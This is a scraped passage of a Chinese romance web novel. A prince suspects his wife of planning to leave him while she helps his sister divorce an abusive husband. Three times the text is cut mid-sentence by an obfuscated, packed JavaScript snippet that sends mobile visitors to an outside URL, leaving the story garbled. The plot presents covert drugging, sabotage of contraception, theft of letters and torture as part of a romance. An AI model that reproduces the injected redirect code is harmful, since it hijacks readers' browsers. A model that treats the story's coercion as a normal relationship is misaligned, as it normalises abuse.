“听不懂,我告诉你。”薛慎很少同她谈事情,今日大方告知她,“我最近在查军饷案,查到了离城江家,你说,此事你表姐可知晓?”
“表姐一个闺阁女子哪里知晓这些。”姜芙道,“表姐不知。”
“谁说闺阁女子不会知晓了,”薛慎反问,“万一她就是知晓呢,或者,正是她藏了那批军饷,你说该如何处置?”
“莫须有的罪名,妾身不予评断。”姜芙道,“妾身相信表姐一个弱女子不会做这样的事。”
“若她不是弱女子呢?”
“王爷何意?”
“你当真什么也不知?”
薛慎手指抚上她脸颊,“芙儿还不说实话么?”
姜芙初听甚是慌乱,细想下来又觉漏洞百出,若真是那般,薛慎哪里还会同她用膳看戏,他大概早去离城抓人了。
他现下应该是没有什么证据,既然如此,她便不能慌。
“妾身没什么好讲的,王爷若是觉得妾身做错了,大可把妾身抓起来。”姜芙道,“慎哥哥,会抓芙儿吗?”
四周突然静了下来。
两人谁都没有说话,就那样彼此打量着。
姜芙在看薛慎,薛慎也在看姜芙。
须臾,薛慎轻笑出声:“芙儿说哪里话,我怎么会抓你。”
他道:“方才也不过是同芙儿说笑而已,是不是吓到芙儿了,慎哥哥给你赔礼。”
他还真作了揖。
见姜芙还是不说话,他慢哄:“夜里,任芙儿折腾可好。”
姜芙怎会折腾,折腾的向来都是他。
安生了几日,他再次成了之前的样子,闹起来动静非常大,恨不得把她拆入腹中。
姜芙一面受不住不断袭来的战栗感,一面又很羞赧,几时起她竟也这般放浪了。
明知他是故意的,却还发出那般勾人的低吟声。
姜芙有意躲,被他箍住了腰肢,他用力蹂躏,在她腰间掐出重重的红痕。
“说你爱慕我。”
“永远不会离开我。”
“会一辈子都同我在一起。”
“芙儿,快说。”薛慎看上去很痛苦,眼眸红红的,声音粗哑,很迫切。
似乎姜芙不讲,今夜他便不会停了。
姜芙耐不住,不甘愿说了四个字:
“不离不弃。”
16.第十六章试探
第16章
许是姜芙的话安抚了他,近两日薛慎像是又变了一个人,恍惚的好似回到了少时,成了那个温和有度的谦谦君子。
没再强迫她做什么,闲暇时也只是邀她赏月,吟诗。
姜芙搞不懂他的喜怒无常,只是提醒自己要小心,婉儿悄声问她话要不要去马市买马?
马是一定要买的,但不能是她们出面,上次薛慎已经警告过她了,她不能大意。
“我记得你有个老乡也在堰都。”
“是。”
“此人可靠吗?”
“可靠。”
“回头你出府见她一下,买马的事交给她去办,告诉她,会给酬劳。”
婉儿点头,“好,奴婢寻个合适的机会出府去见她。”
“切记这事不许声张。”
“好。”
姜芙怕消息外露,要她等到薛慎外出时再出府,这样没人看到更安全些。
婉儿也正有此意。
“王妃,那您决定什么时候离开?”
“年后吧。”年关将至,不是离开的好时机。
“王妃当真不同老爷商议吗?”婉儿问道。
“不。”姜芙已经想清楚了,这次她要为自己做一回主,按照自己的意愿行事。
“奴婢怕王妃不好脱身。”
“寻个合适的机会总能离开。”姜芙叮咛,“你把该准备的准备好便可。”
婉儿应下,“奴婢知道了。”
……
薛慎从外面回来时带了几匹布,还带了裁缝师傅,对姜芙说道:“快要过年了,做些新衣。”
他难得心情好,姜芙也不想找晦气,含笑点头了下头。
师傅在一边量尺寸,她随意同薛慎说着话,“母亲那边送了吗?”
薛慎:“送了。”
“大嫂二嫂那也得送些。”
“都有。”
姜芙:“前几日二嫂找我借钱我未曾借给她,你要不要同二哥解释一下。”
“不需要。”薛慎胎膜看她,眼神灼灼。
姜芙被他看得都热了几分,转头移开视线,“若是不讲,我怕二哥会不开心。”
“你与其惦记这个,惦记这个,倒不如把心思多花我身上。”薛慎见师傅已经测量好,摆摆手示意她们离去,又亲自把房门关上,从后面抱住姜芙,“想我了吗?”
姜芙已经不会再嘴硬的说不想了,她学乖了,“嗯。”
“有多想?”
“王爷有多想,妾身便多想。”
薛慎似乎很满意她的回答,低头啄了下她的唇,“嘴这么甜。”
姜芙转头看别处,又被他捏住下颌转过来,“母亲这两日心情不好,你记得不要去烦她。”
“出了什么事?”
“阿蕊的事。”薛慎道,“阿蕊要和离。”
阿蕊本名薛蕊,是王府的四小姐,薛慎的妹妹,从小娇惯着长大,亲事也是她自己挑的,成亲还没一年,已经跑回娘家好几次了。
她那个夫婿也不是真如她讲的那般无能,琴棋书画还是精通的,只是对入仕不感兴趣而已。
喜欢吟诗作对,画画之类的。
若是这般性情放在寻常人呢大概不妥,但他有爵位承袭,倒也无妨。
可薛蕊就是看不惯他这种不上进的性子,总是为这个争吵。
“母亲她老人家……”
“大庆王朝何时有过和离一事。”薛慎道,“母亲当然不同意。”
四目相对,明明在说旁人的事,可姜芙莫名觉得是在说自己,试探问道:“那阿蕊怎么办?”
薛慎:“气消后再送回去。”
姜芙不知想什么入了迷,薛慎连着叫了她几声,她才回过神,“什么?”
“你呢?”薛慎问。
“嗯?”姜芙道,“王爷何意?”
薛慎执起她肩上的发丝,凑到鼻前嗅了嗅,“你会同我和离吗?”
“……”
姜芙尚未来得及回答,门外传来脚步声,然后是急切的话语声:“王爷,老夫人有请。”
是刘妈。
薛慎道:“知道了。”
姜芙见他走,也跟上,“妾身同王爷一起。”
薛慎打量她,慢点头,“嗯。”
-
主院里薛蕊还在哭,说她一天都过关不下去了,无论如何都要和离。
宋氏劝慰:“张女婿也不是那般不堪,何苦至此。”
“母亲不知他做了何丑事。”薛蕊道,“他竟然学着那些纨绔养妓子。”
“母亲,你可要为女儿做主。”
薛蕊说到伤心处哭的更凶了,宋氏把她抱怀里,“好了,别哭了,等你三哥来让他拿主意。”
话音方落下,薛慎掀帘走了进来,“母亲。”
薛蕊看到薛慎后,哭着走过来,“三哥。”
薛慎示意她坐下,问道:“这次又是为何?”
“他养妓子。”薛蕊道,“三哥,我再也不忍了,我就是要同他和离。”
姜芙慢一步走进来,屈膝作揖,“母亲。”
“四妹。”
薛蕊不喜欢姜芙,看到她,轻哼了一声:“三哥为何让她来?”
“她是你三嫂。”薛慎道,“都不会叫人了。”
薛蕊不情不愿道:“三嫂。”
姜芙点头:“四妹。”
薛蕊:“三哥,你说过的会护我,我不管,这次你一定要为我做主。”
睿府中,薛慎也就只有见到薛蕊才会给个好
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15256658|165705||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
脸色,同外界传言无二,温润如玉,端方雅正。
“夫妻哪有不吵架的,讲开便好。”薛慎道,“明儿我去见见他。”
“三哥这是不打算护我了?”薛蕊泪眼婆娑道,“若真如此,那我不如一头撞死的好。”
她还真冲着柱子而去。
薛慎及时拦住她,“胡闹。”
薛蕊道:“反正你们看我都碍眼,不如让我现在死了。”
宋氏拉住薛蕊,“小祖宗,闹够了没,闹够了,去你的院子歇着,我同你三哥有话要讲。”
“我不回去,我也要听。”薛蕊道。
姜芙见宋氏又要骂人,开口道:“四妹,我那里有上好的布匹,同四妹甚是相配,不如四妹去看看,若是有喜欢的,可以拿去做冬装。”
薛蕊正好也想做冬装了,在姜芙的拉扯下同她一起离去。
走前说道:“我就是要和离,谁劝都没用。”
宋氏被她气的头痛病犯了,“慎儿你说这事如何是好?”
“不能只听阿蕊一面之词,我去命人打探一下。”薛慎道,“这几日先让阿蕊住下,待询问清楚再商议。”
宋氏轻叹,“也只能如此了。”
小八做事妥帖,薛慎让他去查的。
真相还没查出,那边来人劝和了。
薛蕊看到张家的人气便不打一处来,指着门说:“你们走,这里不欢迎你们。”
张宠温声道:“娘子,那日的事你误会了,请听我解释。”
“不听不听。”薛蕊道,“张宠,我今日就要同你和离。”
宋氏有心去拦,已经晚了,猛拍了下头,这个祖宗诶,就会惹事。
姜芙正在庭院里浇花时听到了吵闹声,她道:“怎么回事?”
婉儿:“张府的人来了,同老夫人在大厅呢。”
“四小姐如何?”
“在哭呢。”
“张姑爷呢?”
“刚被四小姐赶出府了。”
姜芙有时会羡慕薛蕊,有娘家为她撑腰想做什么便做什么。
和离也罢,赶人也罢,都没人说什么。
“王妃,四小姐会和离吗?”
“不知道。”姜芙说。
……
夜里,薛慎很晚才回来,身上带着酒气,连人带被子一把抱住。
姜芙被他勒的喘不上气,拍拍他的手,“王爷?”
薛慎在她后颈蹭了蹭,虚虚触着说:“你会同阿蕊那般吗?”
姜芙轻嗯了一声,“什么?”
薛慎:“和离。”
被子下,姜芙的手指颤了又颤,未免被发现什么,她佯装不在意,“王爷为何这般问?”
“我想知道。”薛慎扳过她,“告诉我,你会和离吗?”
17.第十七章和离
第17章
姜芙已经学聪明了,这个时候不能和他硬刚,她妥协,轻哄,“当然不会。”
“真的?”显然她的话并没有说服薛慎,薛慎在她侧颈蹭了蹭,“那你发誓。”
“发誓?”
“对。”
薛慎含住她的耳垂,齿尖磨砺片刻后松开,轻吐气息,“用你父兄的性命发誓,若是有一天你提出和离,他们便不得好死。”
姜芙可以用自己的命起誓,但绝不会用父兄的命起誓。
她犹豫着没说话。
“怎么?不敢吗?”薛慎张嘴咬上她的侧颈,咬出痕迹后才退开,“你果然想着要同我和离。”
“妾身没有。”
“那你现在立誓。”
“若是妾身有半句虚言,妾身愿——”姜芙用自己的性命起誓。
话未讲完,薛慎手指抵在她唇上,“发那么重的誓言做什么,我信你便是。”
姜芙轻叹一声,提着的心刚要放下,又听他说:“芙儿,你若是敢离开,天涯海角我都会去寻你。”
“便是死,我也要寻到。”
姜芙闻言不寒而栗,抖着肩膀道:“王爷说笑了,妾身不会离开。”
“谅你也不会那般傻。”薛慎总算信了她的话,薄唇在她后颈兴风作浪,“明日空了你去劝劝阿蕊,要她听话。”
姜芙下颌抬高,身子后倾,颤着声音道:“四妹哪里会听我的话。”
“你同大嫂二嫂一起。”薛慎的唇好似带着火,落到哪里,哪里瞬间燃起,“她总会听一听。”
姜芙轻嗯一声,“妾身知道了。”
薛慎把她翻转过来,箍着她腰肢一通亲,直到把她亲出泪他才停下,探出舌尖一点点舔去。
“怎么又哭了?”
“妾身,妾身……”
“知道了。”他轻吻她唇瓣,“我轻点便是。”
话虽这般讲,但还是耐不住加重了力道,姜芙被他折腾的死去活来,哭声一次比一次大。
细听下,也不全是哭声,还有细碎的呻吟声。
不知从哪次开始,他折腾她时,也会顾及她的感受了,时不时问她,如何?
她若是不答,他便还是那般,但若是她出口阻他,他便会按照她的意愿改正。
比起疯魔的他,此时的他更让人害怕。
以前的他夺得是她的身,可眼下的他夺得是她的心。
身子如何她可以不去介意,但心她一定要守住,同样的坑她不能掉两次,更不能在同一个人身上栽两次。
她现下也只有心是属于自己的了。
-
次日,姜芙同刘氏周氏一起去劝说。
“四妹,男人嘛总会犯这样那样的错误,咱们女子忍忍便过去了。”刘氏说道。
“大嫂说的对。”周氏劝说,“妹夫便是千万般不是,他也是你的夫婿不是,和离可不是儿戏,万不能轻易说出口。”
“大嫂二嫂此言差矣。”薛蕊道,“女子活这一辈子也不是为男子而活,该舍便要舍弃。”
“我也正想劝两位嫂嫂,若是大哥二哥对嫂嫂不好,不如嫂嫂们也一同和离吧。”
“放肆。”宋氏掀帘走进来,“哪有你这样同嫂嫂讲话的,还要嫂嫂们和离,你是嫌王府不够丢脸是不是!”
宋氏快被薛蕊气死了,“你、你真是胡闹。”
“母亲息怒,四妹不是那个意思。”姜芙道。
“她怎么不是。”宋氏道,“我看她就是想让家宅不宁。”
薛蕊:“母亲这话说的,没我家宅便宁了吗,是母亲没教育好大哥和二哥,同我生气作甚,又不是我的错。”
薛蕊叭叭说了一通,宋氏闻言更气了,抬手便给了薛蕊一巴掌。
姜芙只来得及扶住薛蕊。
薛蕊挨了打,哭着跑了出去。
刘氏周氏见状,动都未动,姜芙转身去追,在院中把人拉住。
“你去我那坐坐。”她拉着薛蕊去了西厢院。
留下刘氏周氏在那煽风点火,“和离可是大事,母亲万不能应允。”
“夫妻床头吵架床尾和,这事总能过去,若是真和离了,丢脸的可是王府。”
“以后孩子们长大了,说亲都会受阻。”
两人你一言我一语劝说,宋氏听罢头更疼了。
……
姜芙之所以帮助薛蕊,想到的也是自己,若是有朝一日她提出和离,定是也希望有人助她。
“四妹当真不想同妹夫一起生活了?”
“是。”
“为何?”姜芙道,“就只是因为养妓子?”
薛蕊没说完,而是拉高袖子给她看,白皙如玉的肌肤上到处都是痕迹,有旧伤也有新伤。
“四妹夫竟然打你?”姜芙讶然。
“是。”薛蕊拉下袖子,“他每每喝醉酒便会打我。”
“为何不同家里讲?”
“有用吗?”薛蕊轻笑,“便是真讲了,又如何?”
是呀,真讲了怕是也劝和。
“我帮你。”姜芙定定道,“我帮你离开张家。”
薛蕊没想到第一个站在她这边的会是最不喜欢的姜芙,一时有些迟疑,“你真帮我?”
姜芙:“是。”
和离不是简单的事,单凭她自己肯定不行,夜里,薛慎回来,她亲自给他斟茶倒水。
这在平时是不会的,薛慎打量她,“有事要同我讲?”
姜芙:“是。”
“何事?”薛慎猜测道,“你想回江北省亲?”
姜芙自从嫁入睿王府,还从未回过江北,娘家人更是一次也没见过。
起初她还挂在嘴边,后见他不允便也没再提起过。
以前的事不提,最近薛慎时常反思,是不是对她太过苛责,要不要顺着她的心思哄哄她。
“等哪日空了,你真想回,我可以陪同你回去。”
“不是回家的事。”姜芙道,“是四妹的事。”
“阿蕊?”薛慎道,“除了和离,她还有何事?”
“便是和离的事。”姜芙语气恳求,“王爷可以帮帮四妹吗?”
“你的意思是?”
“求王爷帮四妹和离。”
茶盏掉到了地上,薛慎怒斥,“姜芙你知道你说什么吗!”
“四妹夫并不若外人看到的那般,他一直在责打四妹。”姜芙道,“王爷忍心吗?”
“谁告诉你的这些?阿蕊?她如是讲你便信了?”
“是,我信四妹。”姜芙回视他,“四妹不会诓骗我。”
那些伤做不得假,那些悲戚也做不得假,她都看懂了。
“母亲不会同意和离。”
“妾身知晓母亲不会同意,所以才要王爷帮忙
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15263995|165705||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
“姜芙,你是哪只眼睛看出本王愿意帮忙的?”薛慎道,“夫妻间吵闹是常事,难不成,只要吵架便和离,那还要律法作何!”
“王爷连亲妹也不帮?”姜芙眼神里流淌出失望,她只道薛慎对她冷情阴戾,却原来他对至亲也是如此,“王爷是看着四妹长大的,王爷真忍心?”
薛慎不喜她的说教,“够了!这事你不许再提。”
“我还有公文没看完,今夜不回来睡,你自己睡吧。”言罢,起身离开。
姜芙对他的失望滚雪球般变大,低喃,“好无情。”
薛慎走出院子,对小八说道:“去查,若张宠真做了什么,把他给我带来。”
天还未亮,小八把人带来。
密室里传来鬼哭狼嚎的声音,“王、王爷饶命,饶命。”
薛慎道:“你打阿蕊时怎么没想过放过她!”
“打,继续打!”
又过了一个时辰,张宠被水泼醒,“好,我、我同意和离。”
和离不是签和离书便可,还需要府衙和族中长辈签字,加盖印章等等。
事情得一件一件办。
小八在天明前把人送了回去。
张府因有错在先,大气不敢出。
宋氏还在劝说薛蕊,“张女婿那人看着不错,妓子的事别计较了。”
薛蕊趴在枕头上哭,哭的肝肠寸断。
姜芙过来,“母亲,我给四妹做了些桂花糕。”
宋氏也不想再待下去了,嗯了一声,起身离开。
姜芙让婉儿把其他人都带出去,这才开口,“四妹,张家那边同意和离了。”
薛蕊抬头,“真的?”
姜芙:“嗯,你三哥讲的。”
下午,张家那边真派人来了,嫁妆同和离书一起来的,出面相见的是薛慎。
也只是一盏茶的功夫便什么都谈好了,府衙文书,族长签字一一弄妥。
薛蕊甚至都不需要见张宠便同他结束了夫妻关系,自此以后她再也不用挨打了。
这时关于她跋扈的根由才真的明朗,跋扈之名也是张家放出去的,目的是坏薛蕊的名声。
这次若不是她趁机跑了出来,大概还是不能和离。
她去谢姜芙,姜芙道:“是你三哥帮的忙,同我无关。”
“若不是你说情,三哥又岂会帮我。”薛蕊道,“你放心这份恩情我会永远记着,若是有朝一日你需要我,我在所不惜。”
“你真愿意帮我?”
“愿意呀。”薛蕊道。
“那我正好有一件事需要你帮忙。”
“何事?”
“我需要马车,你能帮我去买吗?”
“马车?你要马车作何?”薛蕊不太懂,“府中没有马车吗?”
“我——”
话未讲完,房门倏地被推开,薛慎走了进来。
姜芙不确定他听到了多少,挺直背脊不敢动,薛蕊含笑道:“三哥。”
薛慎:“我有话要同你三嫂讲,你先回吧。”
“好。”薛蕊含笑对姜芙说,“三嫂明日我再来。”
言罢,她带着婢女离开,走了两步,回头去看,刚刚还敞开的房门已经关上。
薛慎一步步逼近,“你方才同阿蕊说什么?”
姜芙撞上了后方的桌子,脑海中轰一声,他听到了?!!
18.第十八章质问
第18章
姜芙用力稳住心神,“没说什么?”
“没有?”薛慎逼近,把她困在桌子和自己之间,风都穿都不透,“我怎么听到你说要走?”
“……”姜芙小心翼翼道,“王爷听错了,妾身从未说过这样的话。”
“不如把阿蕊叫进来问问。”薛慎沉声道,“你说呢?”
姜芙的心瞬间提到了嗓子眼,咚咚咚跳得非常快,但她不能暴露出来,“好啊,妾身去叫。”
她推开他,朝门口走去,每走一步都在赌,看薛慎会不会信她,眼见走到了门口,薛慎说:“算了,阿蕊也累了,让她回去歇息吧。”
姜芙提着的心放下了些许,慢悠悠转过身,“王爷要一同用午膳吗?”
“不。”薛慎道,“我还有公务要忙,你自己吃吧。”
越过她时她睨了她一眼,“天冷,没事别乱跑。”
姜芙屈膝作揖,“是。”
待薛慎离去后,姜芙一把扶上房门,婉儿见状走过来,“王妃。”
姜芙摇头,“无碍。”
婉儿:“四小姐不会乱讲什么吧?”
这个姜芙也不知晓,只能听天由命了。
薛慎确实是去追薛蕊了,他这人做事向来缜密不存疑,薛蕊问:“三哥。”
薛慎道:“这几日先别出府。”
“好。”薛蕊试探问,“我看三嫂脸色不太好,你们没事吧?”
“没事。”薛慎勾唇道,“你平日里没事多同你三嫂走动走动。”
薛蕊:“好。”
“对了,你三嫂方才要你做什么?”他状似不经意提起。
“嗯?”薛蕊眨眨眼,“三嫂只是在劝慰我,并未要我做什么,三哥为何这样问?”
“没事。”薛慎转移话题,“随口问问。”
“三哥是在担心三嫂吗?”薛蕊轻笑,“有我陪着三嫂,三哥尽管放心。”
这话算是说到了薛慎心坎里,“多谢四妹了。”
薛蕊:“是我说谢谢才对,要不是三哥,我现下还不能和离呢,阿蕊谢过三哥。”
薛慎扶住她,“自家哥哥,谢什么。”
他从怀中掏出钱袋,“这些银两你先拿着用,不够了去账房取。”
虽说他俸银一直交给宋氏,但其他还有。
“谢过三哥。”薛蕊随口说道,“三哥若是不忙了,也多陪陪三嫂。”
“你三嫂同你说起我了?”
“那倒没有。”薛蕊说,“只是同为女子,我还是知晓三嫂心中想法的。”
薛慎:“知道了。”
薛慎谨慎的性子不是假的,等同薛蕊分开后,他对小八说道:“派人在暗处盯着,有任何可疑都要及时告知。”
小八:“是。”
薛慎谨慎,姜芙也不逞多让,受了这么多苦,再学不乖可就真是她太傻了,知道薛慎必定会做什么,她这几日都很乖,哪里都没去,房门都没出一步。
薛蕊日日都会来寻她说些体己话。
“三嫂同三哥还好吧?”
“好。”
“既然如此为何要我帮着买马车,而不是找三哥?”
“你三哥公务繁忙,我不忍心叨扰。”
“只是这个?”
“对。”
薛蕊:“真没旁的事?”
“无。”姜芙道,“后来我又想了想,让四妹抛头露面也不好,回头我还是得麻烦你三哥。”
见姜芙一点异样都没有,薛蕊便信了她的话,“三哥懂马,让他买会更好些。”
姜芙不想再谈这个话题,便用其他事宜掩盖了过去,“四妹日后有何打算?”
“走一步看一步吧。”薛蕊现下也不知要如何。
“不嫁人?”姜芙道。
“现下还不想。”刚刚和离,薛蕊还不想提嫁人的事。
她不想,宋氏可不愿她一直在家里,便悄悄为她张罗起来,薛蕊知道后,一通大闹,说宋氏偏心,哥哥们在家里呆的,她怎么就不行。
若是再逼她嫁人,她便去死。
宋氏哪里真敢逼死薛蕊,只得应下,“好,不嫁人,不嫁人。”
薛蕊这才消停。
果然有娘亲疼的孩子才会幸福,姜芙不免钦羡,若是她母亲还在世,大抵她也可以不用这般辛苦。
但事实是,世上没有能护住她的人,父兄皆不能。
万事她只能靠自己。
马车的事她没在提及,而是叮嘱婉儿这段日子也不要再去马市,年后再说。
婉儿见她如此谨慎,问道:“王妃,是王爷知道什么了吗?”
姜芙也不确定,“无论如何还是小心些吧。”
“银钱你也记得要收好,莫让旁人看到。”钱放在家里总是不比放在钱庄安生,可若真放钱庄后面支取又会很麻烦,思量想去,只能放在眼皮子底下了。
婉儿:“王妃放心,奴婢已经藏起来了。”
这话说完没多久,王府还真失窃了。
每个院子都被贼儿翻了,连宋氏的院子也没放过,刘氏周氏那里本就没什么钱财,是以也没丢什么。
薛蕊那不见了些首饰。
姜芙对外说的是没丢,实则她这里丢了些银钱,当然让她介意的不是银钱是那些信笺。
表姐写给她的信。
她一直藏在暗格里,哪成想贼儿连暗格都能翻到,还偷了去。
她很不安,却又不敢明讲,薛慎问她丢了什么时,她只说了银钱。
薛慎:“只有这个?”
姜芙:“是。”
“银钱什么的不重要,芙儿没事便好。”薛慎噙笑道。
姜芙心里想着事应的也敷衍,是以也没注意到薛慎的异样,附和道:“王爷说得对。”
刘氏周氏以为薛慎会彻查此事,谁知等了两天竟然没有,她们找上门,问:“三弟就任遭贼这般糟蹋吗,也不管吗?”
薛慎道:“查过了,一无所获。”
刘氏:“那就应该继续查。”
周氏附和:“对,决不能放过那个窃贼。”
薛慎只道:“好,我会命人再去查。”
言罢,他离开。
之后王府一直没有动静。
入夜,书房中,小九问道:“主子,这些信有什么可疑的吗?”
薛慎:“没有。”
“那为何主子一直在看?”小九道,“莫不是王妃真做了什么?”
小八给小九使了个眼色,两人退了出去。
门关上,小九嘀咕,“为何不让我讲?”
“因为你没脑子。”小八敲了下他脑门,“主子的事岂容你过问。”
“东西是咱们偷来的,问一下怎么了。”小九低喃。
对,那晚行窃的就是他们,本意是要翻西厢院,为了不让姜芙起疑,几个院子都翻了一遍。
“王爷到底寻什么呀?”小九真的很想知道。
“无可奉告。”小八冷嗤后朝前走去。
薛慎盯着信
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15272095|165705||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
看了好久,半晌后收起。
-
次日,姜芙正在作画,薛慎命人端来汤药,她问道:“这是?”
婢女道:“王爷特意命小厨房给王妃熬的参汤,说要给王妃补补。”
黑乎乎的东西,姜芙不想吃,淡声道:“放下吧。”
婢女未动,“王爷说了,要奴婢亲眼看着王妃喝下,求王妃不要让奴婢为难。”
说着,跪到了地上。
姜芙心软,放下笔,洗净手接过了汤碗,随即仰头一口喝完。
不知为何,今日的汤药同平日喝的不太一样,入腹后只觉燥热,但她也没多想,让人端着空碗离去。
没多久,热意愈发浓郁,她命婉儿开了窗子。
冷风吹拂进来,才好了些许。
婉儿担忧她受凉,一旁提醒,“王妃莫要离窗子那般近,小心染风寒。”
姜芙道:“无碍。”
想起其他,她问道:“避子汤还有吗?”
婉儿:“奴婢一直备着呢。”
“好。”姜芙叮咛,“若是没了,记得及时去抓。”
这个汤药最初是薛慎要她喝的,后来变成她自己主动要喝,毕竟没有子嗣,她才能更快的离开。
晚膳后,白日的婢女再次送来了汤药,还是那套说辞,姜芙知晓推拒不得,接过喝下。
燥热比白日还重,洗净脸也不管用。
薛慎推门进来,见她脸颊红润,问道:“怎么了?”
姜芙也不知道自己怎么了,抿抿唇,“热。”
薛慎用手背碰触她的脸颊,沉声道:“小八去请太医来。”
“不用。”姜芙脸朝他手背蹭了蹭,似乎他这般触着,热意会缓解,“妾身身子无恙,不用请太医。”
“算了。”薛慎道。
小八悄无声息走远。
薛慎牵上姜芙的手,拉着她朝里间走去,向来拘谨的人,这夜一反常态,尤为主动。
薛慎还未说什么,她主动为其宽衣解带,还主动亲了上去。
薛慎唇角勾着,“这么急?”
姜芙也不知自己怎么了,扑进他怀里,“慎哥哥,我难受。”
“好,慎哥哥帮你。”薛慎打横抱起她。
衣襟都来不及解,他用力一扯,应声裂开,露出白皙如玉的美肩。
他轻吻她,从耳后一路下行,舌尖在她香肩上兜转,轻哄,“芙儿不是喜欢孩子吗?”
“不若我们生一个如何?”
姜芙意识涣散,有些听不清他的话,眼睫颤着没做声。
“要吗?”薛慎问她。
姜芙勾上他的脖子,“要、要什么?”
“孩子。”薛慎捏住她的下颌,让她抬起头,“你和我的孩子,叫你娘亲,叫我爹爹。”
孩子……
姜芙启唇,“妾身不能……”
有了孩子,她还如何离去。
“不能?”显然这个答案是薛慎不愿意听的,他敛去眼底的笑意,问她,“为何不能?”
“……”姜芙说不出话。
薛慎没像之前那样恼怒,“芙儿莫不是恼我这几日没陪你?是我的错,我今夜都补给你。”
战栗袭来,姜芙连推拒的力气都没有,她意识到什么,“那个汤?”
薛慎没再给他发问的机会,抵着她亲了起来。
沉沦了多半夜,姜芙清醒后第一件事便是让婉儿给她端来避子汤。
一口喝完,她提着的心才缓缓放下。
19.第十九章避子汤
第19章
姜芙还是惴惴不安,问道:“汤药没问题吧?”
“汤药是奴婢亲自熬的。”婉儿道,“未经他人之手。”
“那就好。”姜芙太累,沐浴后回到榻上继续睡。
薛慎是一个时辰前离开的,走前叮嘱她,明日会带她喜爱的糕点过来。
这段时日他总是这般殷切,叫姜芙越发胆颤,生怕他是发现了什么,可他又从未提及其他,她不免又觉得是自己忧思过多,或许如他所言,他只是突然顿悟,觉得以前对她太过不好,是以想弥补而已。
想通了,提着的心便安生放了下来。
几日后,癸水如期而至,姜芙才展露了笑颜,看来薛慎真的没对她做什么,那日的汤药确实也只是单纯的补药。
姜芙心情甚好,在书案前作画。
暗室里,薛慎把人踩在了地上,用力碾压他胸口,“王妃的避子汤是你开的吧?”
“这么喜欢绝人的后路,没想过自己会没命吗?”
“王爷饶命,王爷饶命。”
“饶你?”薛慎用剑抵在他胸口,“下次王妃再去你那买药,知道该怎么做吧?”
“知道,小人知道。”男人挣扎,“小人绝不会再给王妃避子汤药。”
薛慎移开脚,沉声道:“滚!”
小八亲自把人带出王府扔在了路上,提醒道:“想活命的话就按王爷说的去做,不然——”
他顿住,又说:“保不齐你儿子会发生什么意外。”
“王爷放心,小人一定照办,一定照办。”男人跪地道。
两日后,婉儿再去买药,如同之前那般,付钱后走人。出来时她朝左右看了眼,见一切稳妥,快步走出。
小八等婉儿离开后才进的药铺。
“按您的吩咐给的调理身子的汤药。”男人颤颤巍巍道,“此药吃了,只会更快有身孕。”
小八从怀里取出银两放桌子上,“今日之事不许同任何人说起,若是那人下次再来,你继续给药便可。”
男人:“是是是。”
……
姜芙这几日身子不利落,薛慎也没强行要她同房,闲暇时还会同她一起作画。
她酷爱牡丹,他也学着画了一些,并提了诗。
薛慎自小便有神童称号,不单写的一首好字,诗词歌赋也是极好,寥寥数语,爱意绵绵。
若是姜芙没见过此前阴戾的他,大抵会被眼前的他所俘,一颗心都在他身上。
“芙儿可喜欢?”薛慎握着她手提笔作诗。
距离太近,姜芙被他热意笼着,长睫颤了又颤,“喜欢。”
“只喜欢本王作的诗?”他道。
诗是好诗,但人……
姜芙不能让他察觉出什么,柔声道:“都喜欢。”
“芙儿的嘴这般甜,莫不是抹了蜜。”薛慎放下笔,攫住她下颌,“本王要好好尝尝才行。”
没给姜芙退开的机会,他另一手扣上她的腰肢,把她摁怀里,说是品尝,当真是仔仔细细尝了一番。
姜芙口中都是他的气息,吞咽了一次又一次。
薛慎退开,额头抵上她额头,“芙儿的唇,果然是甜的。”
姜芙气息不稳说不出一句话。
薛慎蹂躏她泛红的耳垂,抵着她脸颊,问:“今日身子利落了吧?”
姜芙微颤,下意识想说还没,但她知他既然如此问,大抵是知道了,点头,很轻地嗯了声,“是。”
“晚上等我。”薛慎在她侧颈咬了下,“要奖励芙儿。”
姜芙不知他要奖她什么,直觉应该不是她想要的,“妾身不用奖励。”
“是本王要给的。”薛慎捏了把她的腰肢,“芙儿收着便好。”
姜芙千想万想都没想到,薛慎所说的奖励,是那些遗失的信笺。
一封封摆放在她面前。
她慌乱不已,心突突跳起来。
“王爷这是?”
“前几日抓到了盗贼,缴出了这些。”薛慎温声道,“芙儿,这是你的吧?”
他眼角扬着,眉宇间都是笑意。
可落在姜芙某种却不是那么回事,她吓得大气不敢出,顷刻间掌心里溢出细密的汗。
“不是妾身的。”
“当真不是?”
“不是。”
